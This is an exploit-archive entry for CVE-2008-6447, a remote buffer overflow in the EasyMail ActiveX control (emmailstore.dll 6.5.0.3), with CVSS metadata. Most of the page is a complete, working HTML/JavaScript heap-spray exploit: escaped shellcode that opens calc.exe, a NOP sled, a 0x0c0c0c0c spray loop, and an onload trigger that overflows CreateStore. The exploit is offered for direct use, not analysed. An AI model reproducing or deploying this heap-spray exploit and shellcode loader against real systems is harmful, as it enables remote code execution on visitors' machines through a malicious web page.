EasyMail ActiveX (emmailstore.dll 6.5.0.3) Buffer Overflow Exploit

2009.03.13

Credit: e.wiZz! & shinnai

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-6447

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

################  EasyMail ActiveX Heap Spray Exploit  ############
 
By: e.wiZz! & shinnai
Site:  infected.blogger.ba & shinnai.net
 
 
#######Info: #########################################
 
CompanyName        Quiksoft Corporation
FileDescription        EasyMail MailStore Object
FileVersion        6, 5, 0, 3
Vulnerable file         emmailstore.dll
 
 
 
<html>  
 <script language="JavaScript" defer>  
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");  
  var sSlide = unescape("%u9090%u9090");  
  var heapSA = 0x0c0c0c0c;  
  function tryMe()  
   {  
    var buffSize = 3000;  
    var x =  unescape("%0c%0c%0c%0c");  
    while (x.length<buffSize) x += x;  
    x = x.substring(0,buffSize);  
    boom.CreateStore(x, 1);  
  }  
  function getsSlide(sSlide, sSlideSize)  
   {  
    while (sSlide.length*2<sSlideSize)  
     {  
      sSlide += sSlide;  
     }  
    sSlide = sSlide.substring(0,sSlideSize/2);  
    return (sSlide);  
  }  
  var heapBS = 0x400000;  
  var sizeHDM = 0x5;  
  var PLSize = (sCode.length * 2);  
  var sSlideSize = heapBS - (PLSize + sizeHDM);  
  var heapBlocks = (heapSA+heapBS)/heapBS;  
  var memory = new Array();  
  sSlide = getsSlide(sSlide,sSlideSize);  
  for (i=0;i<heapBlocks;i++)  
   {  
    memory[i] = sSlide +  sCode;  
   }  
 </script>  
 <body onload="JavaScript: return tryMe();">  
  <object id="boom" classid="clsid:5B8BE023-76A2-4F6D-8993-F7E588D79D98">  
   By e.wiZz! & shinnai  
  </object>  
 </body>  
</html>

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EasyMail ActiveX (emmailstore.dll 6.5.0.3) Buffer Overflow Exploit

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